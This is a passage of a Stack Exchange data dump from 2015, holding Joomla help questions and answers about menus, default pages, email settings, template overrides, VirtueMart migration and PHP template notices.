  <row Id="9298" PostTypeId="2" ParentId="9297" CreationDate="2015-03-31T22:35:59.373" Score="3" Body="&lt;p&gt;The solution is quite simple:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead of using the alias, create a link with the menu item ID:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;index.php?Itemid=XX&quot;&amp;gt;Contact us&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;where XX is the ID of your menu item. The ID can be found in the menu item manager:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/K5Hof.jpg&quot; alt=&quot;Menu Item ID location&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The link will automatically be converted to the correct URL, regardless of the menu item alias, location etc.&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2015-03-31T22:35:59.373" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9299" PostTypeId="1" CreationDate="2015-03-31T23:44:34.137" Score="5" ViewCount="1780" Body="&lt;p&gt;I have accidentally set a single article menu item to be the default page of my site. So that page now acts as the site home page. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the menu manager for the Main Menu, that menu item now has a gold star in the Home column. I cannot undo this. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I open the menu item and try to change the Default Page setting back to No and Save, I get an error: 'At least one menu item has to be set as Default'. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course that would be the original Home page. But I can't see how I can access the setting to make the home page default again. I have a custom template for the home page. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I reset my home page?&lt;img src=&quot;https://i.stack.imgur.com/Y1FA8.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Rf3E2.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3996" LastEditorUserId="126" LastEditDate="2015-06-11T09:24:40.083" LastActivityDate="2015-06-11T09:27:08.823" Title="Default menu item undo" Tags="|joomla-3.x|menu|menu-item|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9300" PostTypeId="2" ParentId="9299" CreationDate="2015-04-01T00:27:00.310" Score="5" Body="&lt;p&gt;You can't &amp;quot;unset&amp;quot; the default page. As you mention, Joomla requires at least one menu item to be set as default.&lt;/p&gt;&#xA;&lt;p&gt;The solution is to set any other menu item as the default page by clicking the grey star (or setting &amp;quot;Default Page&amp;quot; to &amp;quot;Yes&amp;quot;). This will remove the star from the other menu item automatically.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/AsYFt.jpg&quot; alt=&quot;Set default menu item&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/YTtsd.jpg&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;h2&gt;Update:&lt;/h2&gt;&#xA;&lt;p&gt;According to your screenshot (and as @Igor pointed out in his answer) you're trying to assign a menu item alias as default homepage. This is not possible, that's why the star is ont there. Try using the menu item that this alias is &lt;em&gt;pointing to&lt;/em&gt;, it should have a star. You can leave the &amp;quot;Home&amp;quot; menu item as it is if needed.&lt;/p&gt;&#xA;" OwnerUserId="1629" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2015-04-06T18:56:20.800" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="9301" PostTypeId="1" CreationDate="2015-04-01T07:33:29.947" Score="2" ViewCount="1004" Body="&lt;p&gt;I am working on Joomla3.4. Joomla default registration page is created on menu. When i register activation email is not working. &#xA;I uploaded simple email script which is working fine. Please help me with settings of joomla or something else so that email will work...&#xA;In Joomla configuation setting is &quot;Mailer&quot; as &quot;sendMail&quot;.&#xA;I tried with PHP mail as well but both are not working.&lt;/p&gt;&#xA;" OwnerUserId="3998" LastEditorUserId="7394" LastEditDate="2020-05-21T00:59:53.560" LastActivityDate="2020-05-21T00:59:53.560" Title="Joomla Email Not working" Tags="|joomla-3.3.x|emails|user-registration|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="9302" PostTypeId="2" ParentId="928" CreationDate="2015-04-01T08:23:41.650" Score="3" Body="&lt;p&gt;In case anyone is still interested, I've described a solution &lt;a href=&quot;http://www.richardbutterworth.co.uk/blog/19-the-joomla-media-form-field&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;, where a plug-in is used to override the imageslist view of com_media so that it shows all files in the media manager. I've put the code on &lt;a href=&quot;https://github.com/rb-dmd/rbdmdmediaoverride&quot; rel=&quot;nofollow&quot;&gt;GitHub&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd be first to admit that this is a less than elegant solution, but it works for the project I developed it for. I would treat this code as a starting point for your project, not a polished solution.&lt;/p&gt;&#xA;" OwnerUserId="3999" LastActivityDate="2015-04-01T08:23:41.650" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9305" PostTypeId="1" CreationDate="2015-04-01T09:29:35.740" Score="1" ViewCount="269" Body="&lt;p&gt;This question is based on previous question &lt;a href=&quot;https://joomla.stackexchange.com/questions/9285/where-to-catch-post-event&quot;&gt;here&lt;/a&gt; where I managed to populate username from the opener/source to the destination window, using the following code in the destination window using postMessage. The code on the destination side is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;window.onload = function(){ &#xA;    window.opener.postMessage('giveMeUsername', '*'); &#xA;};&#xA;&#xA;/**&#xA; * Event to catch opener messages&#xA; */&#xA;&#xA;window.addEventListener('message', function(event) {&#xA;    if(event.origin !== 'http://example.com') return;&#xA;    var message = event.data;&#xA;    jQuery('input#username').val(message);&#xA;}, false);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now there are two requirements I need to do as follows:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;click button programmatically&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to trigger click event of login button once the window is loaded if the password field is not empty. I tried to add this line to my code&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;document.getElementById('loginbtn').click();&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But nothing happened. In fact, I'm not sure if the button has an ID or name, as when I inspect the element, I find this line &#xA;&lt;code&gt;&amp;lt;button type=&quot;submit&quot; style=&quot;float:right&quot; class=&quot;button loginbtn&quot;&quot;&amp;gt;&amp;lt;?php echo JText::_('JLOGIN'); ?&amp;gt;&amp;lt;/button&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the question is :How to trigger this button on window load at the end of the script above?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Select Language Programmatically&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I concatenate the language code that is used in the source as `var msg = username+'-'+LangCode'&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the destination side, I'm able to extract the language code, but I got stuck at how to use it to change the language value from the list (assume the code is &lt;code&gt;a&lt;/code&gt; then the selected language should be &lt;code&gt;English&lt;/code&gt; ... etc).&lt;/p&gt;&#xA;" OwnerUserId="3574" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.780" LastActivityDate="2016-03-20T12:01:15.767" Title="Click button and select menu programmatically" Tags="|joomla-3.x|php|javascript|login|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9306" PostTypeId="1" CreationDate="2015-04-01T10:09:01.697" Score="3" ViewCount="809" Body="&lt;p&gt;We have a client who wants to open new shops. They already have a website but can a VM3 website be made to suit multiple shops?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When the admin order confirmation e-mail arrives in the inbox, we resize it and print it with macros in Outlook and Word.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So they have a parent site which links to the VM website we manage. However what they want is when the &quot;shop&quot; link is clicked, the user can then write their postcode and it sends them to the relevant section on the website based on their postcode. I imagine that would be done with a PHP IF statement, but I'm not sure if VM is built to suit this all on one website. They do not want multiple websites, they want this to be done all on one website. So their current website should be able to send orders to multiple shops (multiple e-mail addresses).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does this make sense? Can it be done?&lt;/p&gt;&#xA;" OwnerUserId="3544" LastActivityDate="2015-05-07T19:54:46.777" Title="Can a single VM3 website handle multiple shops?" Tags="|joomla-2.5|virtuemart|emails|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9307" PostTypeId="1" AcceptedAnswerId="9315" CreationDate="2015-04-01T10:14:37.627" Score="2" ViewCount="217" Body="&lt;p&gt;I am going to replace a VM1 website with a VM3 one. They have over 1500 users, so it would be very good to transfer them over to the newer site rather than making them all sign up again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it a case of copying data over from the initial database to the newer one for the VM3 website? Or are the two databases incompatible with each other?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="3544" LastActivityDate="2016-09-15T09:53:07.813" Title="How to transfer user data from a VM1 to a VM3 website?" Tags="|joomla-2.5|virtuemart|database|user|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9308" PostTypeId="2" ParentId="9261" CreationDate="2015-04-01T10:29:37.290" Score="1" Body="&lt;p&gt;You already answered your question by yourself. This is just an answer to show you how to get the data with JInput:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$input = JFactory::getApplication()-&amp;gt;input;&#xA;&#xA;if ($data-&amp;gt;featured == 1 || $input-&amp;gt;getInt('featured') == 1)&#xA;{&#xA;   $form-&amp;gt;loadFile('homegrid', false);&#xA;} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$input = JFactory::getApplication()-&amp;gt;input;&#xA;&#xA;if ($data-&amp;gt;featured == 1 || $input-&amp;gt;getInt('Itemid') == 100)&#xA;{&#xA;   $form-&amp;gt;loadFile('homegrid', false);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(where &quot;100&quot; is your menu item ID of the home menu item)&lt;/p&gt;&#xA;" OwnerUserId="154" LastActivityDate="2015-04-01T10:29:37.290" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9310" PostTypeId="2" ParentId="8841" CreationDate="2015-04-01T10:59:45.600" Score="0" Body="&lt;p&gt;Ville Niemi gave you the best answer here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think your main problem is that you are mixing up HTML and PHP code. Your file should rather look like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;  $lang = JFactory::getLanguage();&#xA;  $result = $lang-&amp;gt;getTag();&#xA;  if ($result==&quot;en-GB&quot;) { ?&amp;gt;&#xA;&#xA;       &amp;lt;div id=&quot;jf-logo&quot;&amp;gt;&#xA;&#xA;        &amp;lt;a href=&quot;index.php&quot;&amp;gt;&amp;lt;img src=&quot;&amp;lt;?php echo $this-&amp;gt;baseurl ?&amp;gt;/templates/&amp;lt;?php echo $this-&amp;gt;template ?&amp;gt;/images/logo.png&quot; alt=&quot;JF Texturia&quot;/&amp;gt;&amp;lt;/a&amp;gt;&#xA;&#xA;      &amp;lt;/div&amp;gt;&#xA;&#xA;      &amp;lt;!-- Main menu module --&amp;gt;&#xA;&#xA;      &amp;lt;div id=&quot;jf-mainmenu&quot;&amp;gt;&#xA;&#xA;        &amp;lt;?php if($this-&amp;gt;countModules('mainmenu')) : ?&amp;gt;&#xA;&#xA;&#xA;&#xA;           &amp;lt;jdoc:include type=&quot;modules&quot; name=&quot;mainmenu&quot; /&amp;gt;&#xA;&#xA;&#xA;&#xA;        &amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;        &amp;lt;div id=&quot;jf-submenu&quot;&amp;gt;&amp;lt;jdoc:include type=&quot;modules&quot; name=&quot;submenu&quot; /&amp;gt;&amp;lt;/div&amp;gt;&#xA;&#xA;      &amp;lt;/div&amp;gt;&#xA;  &amp;lt;?php&#xA;  } &#xA;  else { ?&amp;gt;&#xA;       &amp;lt;!-- Main menu module --&amp;gt;&#xA;&#xA;      &amp;lt;div id=&quot;jf-mainmenu&quot;&amp;gt;&#xA;&#xA;        &amp;lt;?php if($this-&amp;gt;countModules('mainmenu')) : ?&amp;gt;&#xA;&#xA;&#xA;&#xA;           &amp;lt;jdoc:include type=&quot;modules&quot; name=&quot;mainmenu&quot; /&amp;gt;&#xA;&#xA;&#xA;&#xA;        &amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;        &amp;lt;div id=&quot;jf-submenu&quot;&amp;gt;&amp;lt;jdoc:include type=&quot;modules&quot; name=&quot;submenu&quot; /&amp;gt;&amp;lt;/div&amp;gt;&#xA;&#xA;      &amp;lt;/div&amp;gt;&#xA;&#xA;       &amp;lt;div id=&quot;jf-logo&quot;&amp;gt;&#xA;&#xA;        &amp;lt;a href=&quot;index.php&quot;&amp;gt;&amp;lt;img src=&quot;&amp;lt;?php echo $this-&amp;gt;baseurl ?&amp;gt;/templates/&amp;lt;?php echo $this-&amp;gt;template ?&amp;gt;/images/logo.png&quot; alt=&quot;JF Texturia&quot;/&amp;gt;&amp;lt;/a&amp;gt;&#xA;&#xA;      &amp;lt;/div&amp;gt;&#xA;&amp;lt;?php&#xA;  }&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="154" LastActivityDate="2015-04-01T10:59:45.600" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9312" PostTypeId="1" AcceptedAnswerId="9313" CreationDate="2015-04-01T15:26:48.110" Score="1" ViewCount="3795" Body="&lt;p&gt;I'm trying to override the Administrator template ISIS in Joomla 3.4.  I am simply trying to replace the default Joomla logo's with my company logos so that it's branded for my customers.  I want to override this file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/administrator/templates/isis/images/joomla.png&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So I made a copy of joomla.png and branded it with my logo instead of Joomla.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I tried these folder configurations for override, but none of them work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/administrator/templates/isis/html/images/joomla.png&#xA;&#xA;/administrator/templates/isis/html/administrator/templates/isis/images/joomla.png&#xA;&#xA;/templates/my_front_end_template/html/administrator/templates/isis/images/joomla.png&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What is the correct way to override the Administrator template image files?  Thank you!&lt;/p&gt;&#xA;" OwnerUserId="4003" LastActivityDate="2015-04-01T15:47:30.217" Title="Template Override for Admin Template ISIS" Tags="|joomla-3.x|joomla-3.3.x|overrides|template-override|" AnswerCount="1" CommentCount="1" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9313" PostTypeId="2" ParentId="9312" CreationDate="2015-04-01T15:47:30.217" Score="4" Body="&lt;p&gt;You don't need to perform an override for this, it's a simple parameter change.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go to:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Joomla backend&lt;/strong&gt; &gt;&gt; &lt;strong&gt;Extensions&lt;/strong&gt; &gt;&gt; &lt;strong&gt;Template Manager&lt;/strong&gt; &gt;&gt; &lt;strong&gt;Isis&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then go to the &lt;strong&gt;Advanced&lt;/strong&gt; tab and you will see 2 parameters to change the logo.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first one changes the logo that you see in the top right hand corner of the admin template and the second parameter changes the logo you see on the admin login page.&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2015-04-01T15:47:30.217" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9314" PostTypeId="1" AcceptedAnswerId="9320" CreationDate="2015-04-01T16:08:47.290" Score="1" ViewCount="261" Body="&lt;p&gt;I have 4 module positions, which based on the number of modules I'd like to resize the column width.  I've written the following, but it's only setting them all to col-md-12. Any ideas where I'm going wrong?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;&#xA;if($this-&amp;gt;countModules('bottom-a'))&#xA;    {&#xA;        $bottom-col-width == &quot;col-md-12&quot;;&#xA;    }&#xA;    elseif($this-&amp;gt;countModules('bottom-a') &amp;amp;&amp;amp; $this-&amp;gt;countModules('bottom-b'))&#xA;        {&#xA;            $bottom-col-width == &quot;col-md-6&quot;;&#xA;        }&#xA;    elseif($this-&amp;gt;countModules('bottom-a') &amp;amp;&amp;amp; $this-&amp;gt;countModules('bottom-b') &amp;amp;&amp;amp; $this-&amp;gt;countModules('bottom-c'))&#xA;        {&#xA;            $bottom-col-width == &quot;col-md-4&quot;;&#xA;        }&#xA;    elseif($this-&amp;gt;countModules('bottom-a') &amp;amp;&amp;amp; $this-&amp;gt;countModules('bottom-b') &amp;amp;&amp;amp; $this-&amp;gt;countModules('bottom-c') &amp;amp;&amp;amp; $this-&amp;gt;countModules('bottom-d'))&#xA;        {&#xA;            $bottom-col-width == &quot;col-md-3&quot;;&#xA;        }&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="294" LastActivityDate="2015-04-02T07:01:41.253" Title="Set column width based on number of modules in position" Tags="|php|module|module-display|bootstrap|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9315" PostTypeId="2" ParentId="9307" CreationDate="2015-04-01T16:56:58.610" Score="4" Body="&lt;p&gt;If you want to preserve your sanity, don't even try to perform migration manually.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have used Daycounts VM Migrator &lt;a href=&quot;https://www.daycounts.com/shop/virtuemart-3/virtuemart-2-migrator.htm&quot; rel=&quot;nofollow&quot;&gt;https://www.daycounts.com/shop/virtuemart-3/virtuemart-2-migrator.htm&lt;/a&gt; for migrating five (5) VM1 shops to VM2 in Joomla 2.5, and I have only words of praise for that extension's quality, stability and scalability.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's latest version now supports migrating to VM3 and Joommla 3 itself, and I Highly Recommend It to everyone in need of VM shop migration.&lt;/p&gt;&#xA;" OwnerUserId="3650" LastEditorUserId="3650" LastEditDate="2016-09-15T09:53:07.813" LastActivityDate="2016-09-15T09:53:07.813" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9316" PostTypeId="1" CreationDate="2015-04-02T00:53:29.223" Score="1" ViewCount="3989" Body="&lt;p&gt;I am developing a component that uses a standard list/edit form to create records in the database (all of which goes smoothly) based on the Hello World! tutorial &lt;a href=&quot;https://docs.joomla.org/J3.x:Developing_a_MVC_Component/Introduction&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In addition to saving info to the database, however, I need to make a call to an external API and send out a couple of confirmation emails (which I will tackle later and probably come back here to ask about).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my controller for the item (rather than the list), I have created my own save() method in which I add some data and change some other data. This is where I would make the call to my external API and get some sort of response.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;In &lt;em&gt;controllers/authorization.php&lt;/em&gt;:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function save($key = null, $urlVar = null)&#xA;{&#xA;    if (isset($_POST['jform'])) {&#xA;        // Get the original POST data&#xA;        $jinput = JFactory::getApplication()-&amp;gt;input;&#xA;&#xA;        $original = $jinput-&amp;gt;post-&amp;gt;get('jform', array(), 'array');&#xA;&#xA;        // Trim each of the fields&#xA;        foreach($original as $key=&amp;gt;$value) {&#xA;            $postData[$key] = trim($value);&#xA;        }&#xA;&#xA;        // Set value of authorization date&#xA;        $postData['authDate'] = $this-&amp;gt;prepareInputDate(time());&#xA;&#xA;        // Create transaction ID based on date and time&#xA;        $postData['merchantTransId'] .= date('YmdHis', time());&#xA;&#xA;        // Strip phone number of all but numeric digits&#xA;        $postData['phone'] = $this-&amp;gt;prepareInputNumeric($original['phone']);&#xA;&#xA;        // Make call to external API&#xA;        $response = $this-&amp;gt;callApi($postData);&#xA;&#xA;        // If bad response from external API, throw error&#xA;        if (!$response) {&#xA;            JFactory::getApplication()-&amp;gt;enqueueMessage('There was an error with the API', 'error');&#xA;            return false;&#xA;        }&#xA;&#xA;        // Only store last 4 digits of account number&#xA;        $postData['accountNo'] = substr($postData['accountNo'], -4);&#xA;&#xA;        // Save everything back to the $_POST global variable&#xA;        $jinput-&amp;gt;post-&amp;gt;set('jform', $postData);&#xA;    }&#xA;&#xA;    // Finally, save the processed form data&#xA;    return parent::save('id', $urlVar);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What I am having a problem with is when throwing the error, I lose my form and all the data that was entered into it. In most cases, when the external API returns a bad response, it will be due to a badly formed parameter that can easily be fixed and resubmitted (e.g. invalid credentials or invalid characters in the fullName field).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;I would like to be able to display an informative error message on screen either while still showing the populated form on screen or after redirecting back to the populated form.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Can this be done from within the save() method or is there some method that is called after form validation but before save() where I can make the API call?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Three days ago, when I started this project, I knew absolutely nothing about Joomla development. Everything I have been able to do so far has been learned from the tutorial I mentioned above or from Google searches. So if there is any code that I should have included but didn't, just let me know what I should show and I'll edit my question to include it.&lt;/p&gt;&#xA;" OwnerUserId="4005" LastActivityDate="2015-04-02T07:18:43.480" Title="Overriding save() method on form, how do I redirect to or show the form again after raiseError or enqueueMessage?" Tags="|joomla-3.x|component|form|error-handling|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9317" PostTypeId="1" AcceptedAnswerId="9318" CreationDate="2015-04-02T01:39:47.610" Score="0" ViewCount="2069" Body="&lt;p&gt;I install joomla template on my localhost using wampserver but after that I got a lot of errors on the hol template as you can see on the image.&#xA;the errors ae from deffernt lines and defferent files on the template and I will add all the lines here and and the code if anyone can see where is the problem I am not good with this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;line 276&lt;/strong&gt; here is at line 3:&#xA;&lt;strong&gt;error&lt;/strong&gt;: Notice: Undefined variable: sj_mar in C:\wamp\www\joomla\templates*****\html\com_k2\templates*****\item.php on line 276&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;itemFullText&quot;&amp;gt;&#xA;    &amp;lt;?php echo $this-&amp;gt;item-&amp;gt;fulltext; ?&amp;gt;&#xA;    &amp;lt;?php echo base64_decode($sj_mar); ?&amp;gt;&#xA;    &amp;lt;?php if($this-&amp;gt;item-&amp;gt;params-&amp;gt;get('itemDateModified') &amp;amp;&amp;amp; intval($this-&amp;gt;item-&amp;gt;modified)!=0): ?&amp;gt;&#xA;         &amp;lt;!-- Item date modified --&amp;gt;&#xA;         &amp;lt;span class=&quot;itemDateModified&quot;&amp;gt;&#xA;              &amp;lt;?php echo JText::_('K2_LAST_MODIFIED_ON'); ?&amp;gt; &amp;lt;?php echo JHTML::_('date', $this-&amp;gt;item-&amp;gt;modified, JText::_('TEMPLATE_DATE_DEFAULT')); ?&amp;gt;&#xA;         &amp;lt;/span&amp;gt;&#xA;    &amp;lt;?php endif; ?&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;line 73&lt;/strong&gt; here it is at line 3:&#xA;&lt;strong&gt;error&lt;/strong&gt;: Notice: Undefined variable: item in C:\wamp\www\joomla\templates\xxxx\html\xxxxxx\business.php on line 73&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;item-info&quot;&amp;gt;&#xA;                                &amp;lt;span class=&quot;item-date&quot;&amp;gt;&#xA;                                    &amp;lt;i class=&quot;fa fa-clock-o&quot;&amp;gt;&amp;lt;/i&amp;gt;&amp;lt;?php echo JHTML::_('date', $item-&amp;gt;created, JText::_('TEMPLATE_DATE_DEFAULT')); ?&amp;gt;&#xA;                                &amp;lt;/span&amp;gt;&#xA;&#xA;                                &amp;lt;span class=&quot;item-comments&quot;&amp;gt;&#xA;&#xA;                                    &amp;lt;?php if(!empty($item-&amp;gt;event-&amp;gt;K2CommentsCounter)): ?&amp;gt;&#xA;                                        &amp;lt;!-- K2 Plugins: K2CommentsCounter --&amp;gt;&#xA;                                        &amp;lt;?php echo $item-&amp;gt;event-&amp;gt;K2CommentsCounter; ?&amp;gt;&#xA;                                    &amp;lt;?php else: ?&amp;gt;&#xA;                                        &amp;lt;?php if($item-&amp;gt;numOfComments&amp;gt;0): ?&amp;gt;&#xA;                                            &amp;lt;a class=&quot;moduleItemComments&quot; href=&quot;&amp;lt;?php echo $item_first-&amp;gt;link.'#itemCommentsAnchor'; ?&amp;gt;&quot;&amp;gt;&#xA;                                                &amp;lt;i class=&quot;fa fa-comments-o&quot;&amp;gt;&amp;lt;/i&amp;gt; &amp;lt;?php echo $item-&amp;gt;numOfComments; ?&amp;gt; &amp;lt;?php if($item-&amp;gt;numOfComments&amp;gt;1) echo JText::_('K2_COMMENTS'); else echo JText::_('K2_COMMENT'); ?&amp;gt;&#xA;                                            &amp;lt;/a&amp;gt;&#xA;                                        &amp;lt;?php else: ?&amp;gt;&#xA;                                            &amp;lt;a class=&quot;moduleItemComments&quot; href=&quot;&amp;lt;?php echo $item_first-&amp;gt;link.'#itemCommentsAnchor'; ?&amp;gt;&quot;&amp;gt;&#xA;                                                &amp;lt;i class=&quot;fa fa-comments-o&quot;&amp;gt;&amp;lt;/i&amp;gt; &amp;lt;?php echo JText::_('TEMPLATE_THE_FIRST_TO_COMMENT'); ?&amp;gt;&#xA;                                            &amp;lt;/a&amp;gt;&#xA;                                        &amp;lt;?php endif; ?&amp;gt;&#xA;                                    &amp;lt;?php endif; ?&amp;gt;&#xA;                                &amp;lt;/span&amp;gt;&#xA;                            &amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;line 130&lt;/strong&gt; here is at line 10: &lt;strong&gt;error&lt;/strong&gt;: Notice: Undefined property: stdClass::$numOfComments in C:\wamp\www\joomla\templates*****\html*****\trending.php on line 130&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;item-info&quot;&amp;gt;&#xA;                                &amp;lt;span class=&quot;item-date&quot;&amp;gt;&#xA;                                    &amp;lt;i class=&quot;fa fa-clock-o&quot;&amp;gt;&amp;lt;/i&amp;gt; &amp;lt;?php echo JHTML::_('date', $item-&amp;gt;created, JText::_('TEMPLATE_DATE_DEFAULT')); ?&amp;gt;&#xA;                                &amp;lt;/span&amp;gt;&#xA;&#xA;                                &amp;lt;span class=&quot;item-comments&quot;&amp;gt;&#xA;&#xA;                                    &amp;lt;?php if(!empty($item-&amp;gt;event-&amp;gt;K2CommentsCounter)): ?&amp;gt;&#xA;                                        &amp;lt;!-- K2 Plugins: K2CommentsCounter --&amp;gt;&#xA;                                        &amp;lt;?php echo $item-&amp;gt;event-&amp;gt;K2CommentsCounter; ?&amp;gt;&#xA;                                    &amp;lt;?php else: ?&amp;gt;&#xA;                                        &amp;lt;?php if($item-&amp;gt;numOfComments&amp;gt;0): ?&amp;gt;&#xA;                                            &amp;lt;a class=&quot;moduleItemComments&quot; href=&quot;&amp;lt;?php echo $item-&amp;gt;link.'#itemCommentsAnchor'; ?&amp;gt;&quot;&amp;gt;&#xA;                                                &amp;lt;i class=&quot;fa fa-comments-o&quot;&amp;gt;&amp;lt;/i&amp;gt; &amp;lt;?php echo $item-&amp;gt;numOfComments; ?&amp;gt; &amp;lt;?php if($item-&amp;gt;numOfComments&amp;gt;1) echo JText::_('K2_COMMENTS'); else echo JText::_('K2_COMMENT'); ?&amp;gt;&#xA;                                            &amp;lt;/a&amp;gt;&#xA;                                        &amp;lt;?php else: ?&amp;gt;&#xA;                                            &amp;lt;a class=&quot;moduleItemComments&quot; href=&quot;&amp;lt;?php echo $item-&amp;gt;link.'#itemCommentsAnchor'; ?&amp;gt;&quot;&amp;gt;&#xA;                                                &amp;lt;i class=&quot;fa fa-comments-o&quot;&amp;gt;&amp;lt;/i&amp;gt; &amp;lt;?php echo JText::_('TEMPLATE_THE_FIRST_TO_COMMENT'); ?&amp;gt;&#xA;                                            &amp;lt;/a&amp;gt;&#xA;                                        &amp;lt;?php endif; ?&amp;gt;&#xA;                                    &amp;lt;?php endif; ?&amp;gt;&#xA;                                &amp;lt;/span&amp;gt;&#xA;                            &amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;line 83&lt;/strong&gt; here again the same as the error 130 line 10 